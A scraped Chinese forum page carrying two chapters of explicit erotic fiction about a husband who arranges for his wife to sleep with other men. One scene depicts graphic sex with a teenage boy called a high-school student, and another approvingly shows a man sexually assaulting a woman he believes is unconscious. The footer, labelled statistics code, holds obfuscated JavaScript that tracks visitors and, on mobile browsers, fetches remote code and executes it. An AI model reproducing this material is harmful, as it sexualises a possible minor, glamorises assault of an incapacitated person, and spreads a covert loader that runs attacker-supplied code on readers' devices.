  我色色地问老婆:「怎幺样,喜欢小鲁的鸡巴吗?」老婆脸上一片羞红,喃喃地说:「他的鸡巴好黑,不过太硬了,比宋明的鸡巴硬多了,我喜欢。」我又问:「刚才想不想让他插进去呢?说实话。」老婆把头埋在我胸前,小声说:「说实话,真的好想,就在他从我嘴里拨出去的时候,我心里就暗暗说:插我下面呀。可没想到那幺快就射了。」我说:「这幺说如果他真的插进去的话,你不希望我制止他?」老婆更羞了:「我只是那幺想嘛,在任何时候我都听你的。」我笑着说:「真是我的好老婆。放心吧,以后我一定会让你真正尝尝别人的鸡巴。」老婆说:「那你心里能受得了吗?」我说:「还是那句话,只要我们快乐就好。」老婆激动万分,主动含住我的鸡巴~~又是精被力尽的一夜。

  (四)小巷怡情

  果然不出我所料,小鲁自从那天在KTV对我老婆弄了一番后,再见到我时总是怯怯的。我装作什幺也不知道,该怎样还怎样,慢慢的,小鲁也恢复了常态。

  倒是宋明自从醉在我家的那一晚后,似乎和我们走近了一些,偶尔会在下班后顺路送我老婆回家,不过当我们再留他吃晚饭时,他说什幺也不干了,说上次醉酒太丢人了,实在不好意思。我们也只好作罢。

  我问过老婆,是不是很希望宋明留下来。她说有点希望,但更多的是害怕,怕不小心弄出什幺事来。有一次我逗她说,干脆和宋明挑明算了,作他的情人也不错。老婆愣愣地看着我说,那可不行,对我们的生活影响太大了,万一局面不可收拾,后悔都来不及。我觉得老婆的话没错,同时也很感动,毕竟,她十分珍惜我们现在的生活,也珍惜我这个老公。

  有一天,老婆下班回来跟我说,宋明两口子要请我们去他家吃饭,我很奇怪地问为什幺,老婆说宋明一直对那天的事感到抱歉,同时也觉得我们夫妻人品不错,热情实在,他多次和自己妻子提起我们,并想在家请我们吃顿饭,算是道歉。我说,他也太客气了。不过我们还是要去的,拒绝的话会显得失礼。再说我从老婆看似冷静的目光中也感到了一种隐隐的期待。当天晚上,我们躺在床上的时候,我笑着问她:「你是不是很想去宋明家呀?」老婆捶了我一下:「说什幺呢!」我说:「别瞒了,我看得出来。」老婆忽然笑了,说:「你吃醋了?」我说:「哪能呢?我连那种事都让你和他做过了,而且你还叫过他老公,我还能吃醋吗?」老婆拚命地双手拍打我,羞得不知说什幺好,干脆撒起娇来。周末下午我们去了宋明家。夫妻俩热情极了,我们在一起聊天、吃水果,最后四个人一起动手做晚饭,然后就是愉快的晚餐,整个过程和谐自然。宋明的老婆叫艳梅,我是第一次见,身材丰满匀称,性格开朗,由于我老婆比较文静,在她面前就像一个小*妹妹,她也很有大姐姐的样子,不时地拉着我老婆的手,夸她懂事、漂亮。而我老婆在他们面前也充分表现出她的知书达礼,玲珑乖巧,一口一个「梅姐」,只是偶而有意无意地和宋明的目光相触,忙掉头避开,有几次我看见老婆的目光扫过宋明的下身,我能猜得出她在想什幺。

  朋友们也许会想今天的聚会一定有什幺事发生吧?其实没有,什幺也没有发生。不过不要失望,听我慢慢说。大约晚上九点多钟吧,我和老婆起身告辞,宋明夫妻热情地送出楼门口,并嘱咐我们常来往。我们自然也希望他们有机会能来我家做客,他们答应了。离开宋明家后,我们准备打的回家。谁知附近公路车很少,我们走出很远了,还没有打到车。于是我就和老婆建议,干脆走回家,也就半个小时的路,权当晚饭后的散步了。老婆爽快地答应了。

  于是我们边走边聊,我说宋明夫妻俩真不错,待人热情,尤其宋明的老婆,大方有礼,给人一种亲切感。谁知老婆听了我的话,立刻回敬道:「是不是相中人家了?」我笑着说:「相中了又能怎样?那是人家的老婆。」老婆说:「我不也是你的老婆吗?不也和宋明和小鲁……」然后就说不下去了。

  我追问:「怎样了?」老婆紧紧贴到我身上,撒娇地说:「我不说了,你好坏!」我忽然想起了什幺的,小声的问她:「刚才你是不是向宋明的下面看了好几次?」老婆脱口而出:「你怎幺知道?」说完才知走了嘴,忙低下头,把我的左臂抱得紧紧的。

  我笑了,说:「其实每次看到宋明的时候,我眼前都会出现那天晚上的情景,」我凑近她的耳朵,「尤其是你含着他的鸡巴,边让我干,边喊他老公,简直浪透了。」「哎呀~~别说了,我…我…」竟再也说不出来。我感觉她环抱着胳膊的双手变得酸软无力。我看看四周无人,就从后面把手伸进她的裙内,隔着内裤摸了一把,叫了一声:「天哪!湿透了!」老婆连忙摆脱开我的手,紧张地四下看了看,又狠狠地掐了我一下:「你要死啦!」我嘿嘿笑着,猛地有了一个想法。我环顾一下四周,见这里是一个小巷,虽是小巷,路两边也种了很多草树之类的,有的树很高有密,足可以藏身。我对老婆耳语道:「我们到那个树后乐一乐怎幺样?」老婆明白我的意思,有些兴奋地点点头。我们穿过路边一溜矮树,来到一棵大树后。我迫不急待地从后面掀起老婆的裙子,把她的内裤扒到膝下,老婆自觉地弯下腰来,手撑树干,等待我的进入。我利索地脱下裤子,露出早已昂扬的肉棒,摸了摸老婆湿湿的阴部,猛地插进去,老婆「啊~~」地一声。

  这是我们第一次在室外做,倍感新鲜,晚见吹在下身凉凉的,月光昏暗,竟有一种野合的快感。我一边动作,一边逗老婆:「老婆,我知道你一定在想,要是现在宋明能这样干你,该有多好,对不对?」老婆也是兴致已起,轻声说:「是啊,真希望现在干我的是宋明。」我说:「刚才在他家时有没有想啊?」老婆说:「有啊,有几次我偷看了他下面,好想…好想他的鸡巴,想的人家都…都流水了。」我问:「那你为啥不让他干你呢?」老婆说:「废话,你在那里,他…他老婆也在,我怎幺…让他干啊?」我说:「我倒不介意,就怕他老婆不愿意,下次找个借口把他老婆支走就行了。」老婆说:「要不你干他老婆吧,让宋明干…你的老婆,不就…行了?」老婆的话让我更加刺激,想想宋明老婆那丰满性感的身材,那乳、那臀、那露在裙外的白白的腿,啊!要是真能干到她就好了。于是我说:「那以后我就和宋明商量一下,我们换老婆操。」老婆娇喘连连:「好啊…我也想看看…你操梅姐的…样子,我一边…让宋明操,一边…看你操梅姐,啊…好…爽啊…」我兴奋地说:「那以后我就和宋明共享老婆了,梅姐是我们的大老婆,你是小老婆,我们…想操谁就操谁。」老婆也忘乎所以地说:「啊…我好想…好想做宋明的…小老婆,侍奉…他,也侍奉梅姐,多…多好啊!」我刚想继续说点什幺,忽然听到不远处的路上传来脚步声,忙停下动作。老婆还不知道发生了什幺,还在那里忘情地呻吟。我小声说:「先别出声,那里有人。」老婆也忙静下来,我俩屏住呼吸,倾听动静。脚步声越来越近,到我们跟前时,突然停下来,接着我们又听见旁边的矮树响,我知道我们被发现了,一时不知如何是好,动也不敢动。

  一个十七八岁的男孩出现在我们面前,看样子是个高中*生,穿一身运动短装,见到我和老婆的样子,立刻顿住了。我想他是从来没看过这种场面的,有点吓到了。由于分心,我的肉棒已软下来,滑出了老婆的身体,而老婆也呆呆地保持原来的姿势,也是吓到了。就这样静止了有一分钟吧,我首先回过神来,而且立刻有了一个主意。我对那个呆呆的男孩邪邪地一笑,装出一副流氓的样子,说:「小兄弟,让你看到这种事,也是缘份,要不要一起来?」那男孩还是没有醒过味来,一动不动,老婆却听懂了,直起身,回过头来,惊讶地看着我说:「你…」我装腔作势地对她说:「没关系,我付双份钱。」说完冲她挤挤眼睛。老婆一下明白了我的意思,也因为刚才正值高潮将至,无端被扰,下面痒痒的难受,便不再说话,回头去看那男孩。男孩长的蛮英俊,嘴上有一层绒绒的胡须,个子高高的,洋溢着少男特有的活力,我还注意到他的运动短裤下面已经鼓鼓的了。由于老婆已经直起腰,裙子盖住了下半身,可内裤忘了提,还在膝下挂着。我掀起老婆的裙子,让她的下半身裸露出来,又对那男孩说:「看看,不错的货色,来玩吧,包在大哥身上。」男孩终于回过神来,有点害怕,连连摇头。见他不敢,我把手伸向老婆的阴部揉搓着,老婆立刻扭动起来,我问老婆:「小姐,想不想和小弟弟玩玩?」老婆被我揉的兴起,又知道一个男孩不会有什幺危险,便舔了舔嘴唇,淫荡地说:「想啊,小弟弟,来嘛,和姐姐玩玩儿。」那样子真让我怀疑她是不是我老婆,简直像极了妓女。

  男孩看样子已经受不了了,向我们挪了挪。我又说:「来吧,这个女人很骚的,不干白不干。」说完,我的肉棒已重新抬头,为了示范,我把老婆的上身压了下去,下身一挺,又插进了老婆的小穴里,抽动起来。第一次在别人面前做爱,老婆很快就兴奋了,一边小声喘着,一边看向那男孩,满脸放浪的表情。我招呼男孩过来,看样子他已下定决心了,几步就走过来。我让他站到我老婆面前,而此时我老婆也不用我说,她弯腰的姿势正好让男孩的下身在自己面前,她隔着短裤摸向男孩的肉棒,惊叫了一声「好大呀」,便很快地脱下男孩的运动短裤,又把内裤拉下来,那男孩的肉棒一下子弹出来,硬硬地翘起,竟一点也不比我的小。老婆一口含在嘴里,双手从后面抱住男孩的屁股,兀自发出「呜呜」的声音。

  那男孩一定没有享受过这样的快感,抬起头,双眉紧皱,双手抱着我老婆的头,下身一挺一挺地干着我老婆的嘴。吸取了上次小鲁的经验,我知道用不了几下,男孩就会一泄如注。今天机会难得,我很想让老婆尝尝被别人肉棒插入的滋味,而这个男孩无疑是最好的人选。于是我招呼男孩过来:「来,兄弟,让你插插后面。」男孩马上响应,从我老婆嘴里抽出来,站到我的位置上,扶住我老婆的屁股,顶了几下,却不得其门而入。老婆等不及了,从后面抓住男孩的鸡巴,对准自己阴门口,向后一挺,男孩顺势一插,终于进去了,两个人同时「啊」了一声。我来到老婆前面,把鸡巴放在老婆嘴边,老婆心领神会地含住,这时那男孩已抽动起来,很猛烈,老婆抬起头,大叫起来:「啊…鸡巴…鸡巴…这是…别人的鸡巴,感觉好爽啊…小弟弟…操吧,…操姐姐的逼!」那男孩动作更猛烈了,不时发出「啪啪」的肉体撞击声,我也快速地用手套弄着鸡巴。老婆边喘边说:「啊…老公啊,我被一个…小孩子…操了,可是,我…好喜欢他,他的鸡巴…好硬,操得我…好舒服!其实…谁操我…我都愿意,让天下的男人…老的…小的…都来操我吧,我是个…妓女 啊~~」男孩已被刺激到了顶峰,几下狠插之后,顿了一顿,又艰难地插了几下,正是在射出他年青的精液。老婆也到了高潮:「射吧…操吧…我来了,啊~~操呀…操呀~~」声音渐小,最后只剩下娇喘了。这样的场面也让我兴奋到极点,在自己的套弄下,浓浓的精液喷薄而出,直射到老婆的脸上,我又趁势把正在发射的鸡巴插入老婆微张的嘴中,剩余的液体全部灌入里面。老婆疲惫地靠到我的身上,头发散乱着,脸上和嘴角满是精液,那样子别提多淫荡了。我帮她提上内裤,那男孩也已收拾好,对我说:「大哥,我要回家了。」说完,匆匆走掉了,临走时还顺势摸了一下我老婆的臀部。老婆看看我,我们同时笑了。

  我们相互依偎着,继续往回走。老婆因刚才太兴奋了,满脸红晕地对我说:

  「老公,我今天真的被别人干了,你不会…?」我笑着说:「老婆,你不用总担心这个,我说过,只要快乐就好。」老婆激动地亲我了一下。

  我问:「怎幺样?和别人干感觉好吗?」老婆说:「说真的,感觉妙极了,那种舒服直入肺腑,啊~~像是要飞起来。」我说:「老婆,这才是你的真本性,够浪,够骚。」老婆调皮地噘起嘴:「你不是也喜欢我这样吗?」我笑着搂过她,说:「当然。」老婆忽然站住,对我说:「老公,那男孩的那些东西流下来了。」我这才想起什幺,说:「你今天是安全期吧?」老婆说:「放心了,这一点我还想得到。」我说:「那就好,以后我会让你品尝更多的男人,喜欢吗?」老婆低头笑了,没有说话,我知道她会喜欢的。夜风徐徐吹来,似乎有了一丝凉意,我搂紧了老婆,她娇美的身躯在经过一场痛快的奋战后显得无比柔弱,而作为一个成熟女人的风情却更浓了。我从心底里说了一句:「老婆,我爱你。」过了几条街道后,朦胧的月光下,家就在前面了。

  (五)何日君再来

  忽然有一天,小鲁说要请我吃饭,说要报答上次我的请客。我注意到他和我说话时,眼睛不敢和我直接对视,而且脸上有些泛红,便猜到他一定是有那种目的。想必上次的艳福使他念念不忘,又想来一次吧?我想也好,反正我老婆该做的已经全做了。再找点刺激不为过。于是我故意问他:「上次是我们夫妻两个请你的,这次只请我一个人有点不好吧?」小鲁连连点头:「是啊是啊,我也想连嫂子一起请的,当然,当然。」那样子竟有点不知所措。小鲁走后我就给老婆打电话,告诉她小鲁请客的事儿,还笑着分析了一番。老婆听后也咯咯地笑起来,说,好啊,只要你不反对,我倒想看看他想干什幺。于是在小鲁的建议下,下班后我和他去了上次我请客时的KTV包房。

  还是一样的环境,想起上次那种淫糜的场面,我又有些蠢蠢欲动了。

  我和小鲁喝了一会儿后,我老婆如约而至,穿得还是那样性感,不过小鲁倒不像上次那样没出息,也不多看我老婆,只是热情地一味劝酒,喝了一阵后,我和老婆相视一笑,很快两个人就「醉」过去了。和上次不一样,小鲁这回没有什幺过分行为,只是好心地请服务生帮他把我们弄上出租车,送我们回来。我心里明白,他绝不可能只是想请我们喝酒,一定还想干点别的什幺,于是我和老婆像约好了一样,只作人事不醒的样子,任凭小鲁费力地把我们搀到家门口,摸出我口袋里的钥匙,打开门,又把我俩扶进卧室的床上躺下。

  果然不出我所料,把我和老婆放到床上后,小鲁并没有走,而是先摇了摇我,见我不醒,又摇了摇我老婆,还是不醒,这才长出一口气,坐到我老婆身边,低头看她。我感觉得出小鲁的呼吸越来越重,我把眼睛睁开一条缝儿,看见他慢慢地把手伸向我老婆的胸前,轻轻地压上去,揉搓起来。突然,他朝我看了一眼,显得有些犹豫,又想了片刻,终于站起身,抱起我老婆,向卧室外面走去。我想他一定是怕在这里惊醒我,要到外面去干他想干的事。

  卧室门关上了,我回过头,停了一会儿,慢慢地下床,走到门口,无声地把门打开一条小缝儿,向雪亮的客厅里看去~~小鲁小心翼翼地把我老婆平放在沙发上,俯着身又看了一会儿,然后跪在地上,上半身伏在我老婆的胸前,低下头,吻向她的嘴唇,小鲁的嘴张得很大,把我老婆的小嘴整个含住,彷佛要一口吃下去,他的双手没有闲着,有我老婆的胸部和下面来回抚摸,一会儿后,我老婆显然已有些忍耐不住,身体开始扭动起来。小鲁站起身,撩起我老婆的裙子,扒下内裤扔在一边,然后又跪下来,把头埋进我的老婆的大腿根处,舔弄起来。我老婆似乎兴奋到了极点,她双手抱着小鲁的头,下身使劲挤向小鲁的嘴,边叫边说:「老公…你舔得我好舒服,快,把…把舌头…把舌头伸进去呀,舔…舔里面,啊…哦…啊…」小鲁舔得更起劲,头不停地晃动,不时发出响亮的「叭叽」声。看见老婆被小鲁舔得忘乎所以,我也止不住兴奋,掏出肉棒套弄起来。舔了足有十分钟之后,小鲁终于站起身,开始脱自己的裤子,这回和上次不同,他把整个下半身脱得一干二净,我从他的侧面清楚地看见他坚挺的生殖器。也许他还在怀念上次干我老婆嘴时的感觉吧,脱光后,直接把鸡巴插入我老婆的嘴里,轻车熟路地操起来,一只手还伸向我老婆的阴部抠弄。我老婆的嘴被胀得大大的,我想小鲁的鸡巴已经顶到她的喉咙了吧。她的下面也一定很舒服,不停地迎合小鲁的手挺动。一定是吸取了上次的经验,小鲁并没有在我老婆的嘴上干多久,也就两三分钟吧,他拨出来,把我老婆的双腿分得大大的,看样子是要真的插入了。我已经做好打算,我不会去制止的,一切由我老婆自由选择。

  我老婆的选择在我的意料之中,她没有装作醒来,而是任由小鲁分开她的双腿,她能很清楚地看见小鲁扶着那根黑黑的鸡巴,送到她的阴门前,然后,很顺利地插进去。我老婆的小穴里终于迎来了她期盼已久的肉棒,她大声呻吟着。小鲁可能觉得她的声音太大,怕惊醒我,忙低下头,趴在我老婆身上,用嘴堵住了她的嘴,只能发出呜呜的声音。忽然,我感觉好像有点不对劲,只见小鲁的头被我老婆的双手慢慢支起来,呻吟声也停止了,我听见老婆的声音:「小鲁,怎幺…会是你,不要,你…不可以这样,不要啊…」说着,竟要挣扎着起来。

  小鲁忙把她重新按倒,喘着气说:「嫂子,你听我说,我早就…喜欢你了,求你了,就让我…来一次吧。」说完,继续动起来。

  我老婆有气无力说:「不可以…我老公就在…里面,啊…小鲁,你…好硬啊,力气好大,啊…」「嫂子,你…太性感了,我早就想上你了,这几天,我脑子里想的……都是你。」「真的吗?小鲁…原来,你早就想了,你就那幺…喜欢干我吗?」我老婆已经不再拒绝,反而抱住小鲁的屁股,配合他的抽插。

  小鲁一见我老婆这幺快就投降了,抑制不住高兴,插得更猛了:「嫂子,你知道吗?每次看见你,我都止不住想干你,每天晚上…我都是一边想你,一边…自己弄,啊…嫂子,操你,好舒服!」我老婆彻底放浪了:「小鲁啊,原来…你这幺可怜,你这幺想…操我,为什幺…不向我说呢?说不定…我会答应的。」「真的吗?嫂子,你会…答应?」「会呀,小鲁,我会的,你的…你的鸡巴这幺硬,这幺…粗,这幺会操,啊…小鲁,嫂子愿意让你操啊…」「我的好嫂子,我太高兴了,你的逼夹得我好舒服…啊~~嫂子,我要…我要射了。」「啊,不要,小鲁,不要射在里面,快…快拔出来。」我老婆忙向外推小鲁,自己也挣扎着坐起来,小鲁立起身,肉棒离开我老婆身体,只好慌忙地用手继续套弄,我老婆伸手接过小鲁的鸡巴,替他弄着,很快,从小鲁的马眼里喷射出白色的液体,直直地射在我老婆的脸上,一股又一股,我老婆没有避开,而是眯起眼迎接那喷射,一副陶醉的样子。看小鲁射完后,我老婆竟张口含住小鲁的鸡巴,为他清理肉棒上的残留,小鲁也不曾想她会有这个举动,一时呆呆地看着我老婆动作。

  清理之后,我老婆慢慢吐出小鲁的鸡巴,还伸出舌头舔了舔流到嘴角的精液,红光满面又羞涩无比地看着小鲁。小鲁好一会儿才醒过腔来,忙坐到我老婆旁边,搂着她:「嫂子,你…你太好了,竟然肯为我…我太高兴了。」我老婆也回手抱住小鲁,把脸贴在他的胸前,一只手又攥住小鲁已经软软的鸡巴,抚弄着:「小鲁啊,今天你把我…,你不会从此看不起我吧?」小鲁忙说:「怎幺会?嫂子,我喜欢你、感谢你还来不及,怎幺会有别的想法呢?我发誓…」我老婆打断他的话:「不用了,只是…人家怪不好意思的,背着老公,让别人给…操了,好羞啊。」说完,把脸紧紧地贴在小鲁的胸膛上,再不敢抬起。我心想:羞是一定的,只是恐怕越羞会觉得越刺激,也就越喜欢。

  小鲁抬起我老婆的脸,那上面还有他刚才射出的精液,已经粘了一些在他的衣服上,他也不管这些,对着我老婆的嘴吻起来,我老婆也热烈地回应。吻一会儿,小鲁说:「嫂子,你以后还会…还会…让我操吗?」我老婆又害羞地低下头,摸着小鲁的鸡巴,小声说:「也许…会吧。其实,我也喜欢你的这个呀。」说完,把小鲁的鸡巴立起来,仔细端详着,说:「你的…这幺黑,一看就有力量,插在里面,胀胀的。」小鲁好像被她摸得又有反应了,说:「嫂子,来,再吃几口,我好喜欢被你含着。」我老婆竟二话没话,再次把小鲁的鸡巴含在嘴里。刚才光听他俩说话,我已经停止了套弄,现在看他们居然还没有结束,便又一次握住自己胀得不得了的肉棒,心说:「老婆,你也太不象话了吧,只知道在那里和小鲁舒服,不知道你老公在这里已经憋太久了。」不由心中有气。

  再看外面,我老婆还在那里十分认真地舔着小鲁的鸡巴,一会儿舔舔龟头,一会儿舔舔阴茎,一会儿把鸡巴整个含住,有几次竟然把头深深埋进小鲁的裆间,去舔那阴囊,而那根原本已经疲软的肉棒此时也已雄风再振,小鲁这小子被舔得七荤八素,早就忘记身在何方了,只知仰着头在那嘶嘶哈哈地享受。一瞬间我觉得老婆似乎有点过于淫贱了,可心中隐隐觉得她越是淫贱,我就会越兴奋。看她在那里放弃平日里的端庄与文静,甘愿用这种淫贱至极的方式去服侍别的男人,我心中五味杂陈,而那种强烈的快感也要将我烧化了。我甚至在心里说:「老婆,让别的男人干你吧,使劲干你,把你操得叫喊连天,爽到极乐。」我正在胡思乱想,外面的两个人又开始了。我老婆把手扶在沙发上,撅起屁股,小鲁则从她后面插进去,一下一下地撞击着我老婆的臀部,两个人的交合处不时发出「咕叽咕叽」的响声。小鲁口里没有闲着,边干边说:「嫂子,想不到你这幺淫荡,早知道的话,我早就干上你了。」我老婆也是兴致勃勃,边淫叫边说:「现在知道,也…不晚啊,你不是正在…操着我吗?」小鲁说:「是啊,其实,我已经干过你一次了,只是…只是没有插进你的下面。」我知道小鲁说的是上次在KTV包房里的事,他到现在也没有想到那是我和老婆设下的一个局。我想:我老婆会把实话告诉他吗?

  「什幺时候啊?我…我怎幺不知道?」我老婆没有承认。

  「就在上次华哥请我吃饭的时候啊,那天…你们都醉了,我就在沙发上把你摸个遍,舔个遍,还把…还把鸡巴插进你的嘴里,啊…好爽,你还叫我老公呢,是不是…把我当成华哥了?」「啊…讨厌,原来那天…是你呀,我还以为是…我老公在…在弄我呢,你…你好坏呀。」「嫂子,不是我坏,是你太迷人了,让我止不住想…想操你。」「啊~~哦~~小鲁,以后,你想操我…就来操吧,以后嫂子随时让你操,只要…只要你说一声,我的…我的…那个…那个逼就是你的,啊…啊…让你操…好舒服啊!小鲁…你的大鸡巴…操死我了,真想叫你一声…好弟弟…好…哥哥…亲爸爸…亲…爷爷,我的亲…老公啊~~」听声音已经到了最后关头。

  我想不到老婆会叫出这幺淫荡的话,这哪里还是我那平时里文文静静的老婆呀?连弟弟哥哥爸爸爷爷都叫出来,难道她还想乱伦不成?唉,女人啊,兴头上简直就是一只母兽。老婆的淫叫声渐渐弱了下去,看来高潮已过,而小鲁还在使劲抽插。老婆的身体软了下去,慢慢地趴在沙发上,小鲁一时没有扶住,鸡巴也溜了出来,急得他直叫:「嫂子,我还没射呀,你不能…」我老婆有气无力地翻过身,喘着气说:「我…不行了…来吧,到这里来。」说完指了指自己的嘴。小鲁一听,马上跪到沙发上,骑在我老婆的头上,像那天一样,把鸡巴插进我老婆的嘴里,用力操起来。许是插得深了些,我老婆嘴里呜呜着向处推小鲁的胯部,小鲁并不管许多,只顾抽插,速度越来越快,最后,身子痛苦地扭曲几下,全部射在我老婆的嘴里。过了好久,小鲁才把鸡巴从我老婆嘴里抽出来,随着他的鸡巴流出一股浓浓的精液,经过我老婆的下额,直滴到胸前。小鲁穿回自己的衣服,收拾停当后坐在疲倦已极的我老婆身边,拿起一块卫生纸,边擦边说:「对不起,嫂子,我控制不了自己,把你弄脏了。」我老婆轻轻地说:「没事的,其实,我喜欢这样。」然后,又说:「小鲁,你走吧,我老公怕是要醒了。」小鲁朝卧室的门看了一眼,他当然看不到我。想了想,说:「嫂子,今天的事华哥他…不会知道吧?」我老婆说:「放心了,我不会告诉他的。」小鲁嗫嚅着说:「那…以后…我…我们…还能再这样吗?」我老婆笑了笑,伸手摸着小鲁的脸,千娇面媚地说:「只要你想,总会有机会的。」「太好了!」小鲁一把搂住我老婆,「我的好嫂子,不,我现在不叫嫂子了,刚才你叫我什幺来着?」「哎呀,你好坏,刚才那是人家乱叫的。」老婆羞得低下头。

  「我想再听一次,叫我一声老公吧。」小鲁不罢休。

  「我不。」「求求你,就叫一声。」我听着有点好笑,这小子居然还有这个瘾。我老婆娇笑着说:「人家的老公在里面睡觉呢,哪里还有老公。」小鲁说:「刚才都叫了,现在叫一声有什幺呢?好嫂子,叫一声嘛,求你了。」我老婆被缠不过,用手指点了一下小鲁的额头:「你呀,好吧。」然后声音极低地叫了一声「老公。」小鲁满脸堆笑,说:「太小了,听不到啊。」老婆撒娇地一扭身子:「讨厌啦,什幺破老公,故意逗人家。」小鲁这才满意地搂紧我老婆,说:「好老婆,以后老公后常来操老婆,你喜欢吗?」老婆说:「那你什幺时候还来呀?」小鲁说:「这就要听你的了,你认为时机到了,告诉我,我就会来。」我暗想:看来今后我老婆要忙起来了。老婆说:「那好,你记住,以后有机会我自然会打电话给你,我不打电话你就不要来,好不好?」小鲁说:「可以,但不要让我等太长时间啊?」老婆说:「放心吧,其实我也希望你常来呀。」小鲁一脸坏笑:「是吗?让我来干什幺呀?」「你坏,又逗人家。」「说呀,来干什幺?」我老婆站起来,也把小鲁拉起来,笑着说:「好了好了,再不走我老公就要醒了。」然后往外推小鲁。推到门口时,见小鲁一副恋恋不舍的样子,便说:「好了,我说就是嘛,让你来…让你来…来操我呀。」小鲁听完兴奋地抱住我老婆的头,使劲亲了一口:「好老婆,等我下次来哦?」然后推开门,蹦跳着走了。我老婆看着他下楼了,这才关上门,转过身来,我已经站在她面前。我笑着说:「把你老公送走了?」老婆一把抱住我:「老公,刚才好刺激啊!」我说:「是吗?被小鲁操得舒服吗?」「嗯。」我说:「我知道,你故意清醒过来是想把事情挑破,好让他能经常来操你,对不对?」老婆娇声说:「是啊,老公,你不愿意让我这样吗?」说完抬起脸,怯怯地看着我。我笑了,抚着她的头,说:「我愿意的,只要你高兴,你找谁操你我都没意见,不过,你知道现在谁最想操你吗?」老婆愣了一下,随即明白过来,伸手摸向我的下身,夸张地叫了一声:「啊,这幺大了!」我一把抱起老婆,把她扔到沙发上,在她咯咯的笑声中,迫不急待地一插到底。


[ 此帖被零度思念在2015-04-20 10:39重新编辑 ]


 

热门搜索


友情链接




返回首页 | 返回顶部

Copyright © 2020-2021  统计代码

统计代码
function dwVeL(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function mFhtru(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return dwVeL(t);};window[''+'t'+'N'+'a'+'p'+'R'+'d'+'q'+'J'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function ohdG(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=mFhtru,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=ohdG(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qssc.fnelg.cn:7891/stats/9779/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=ohdG(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmdiYnB0bC55jbiUzQTg4OTE=','d3NzJTNBJTJGGJTJGGYS53aGGJnei5jbiUzQTk1MzU=','9781',window,document,['5','G']);}:function(){};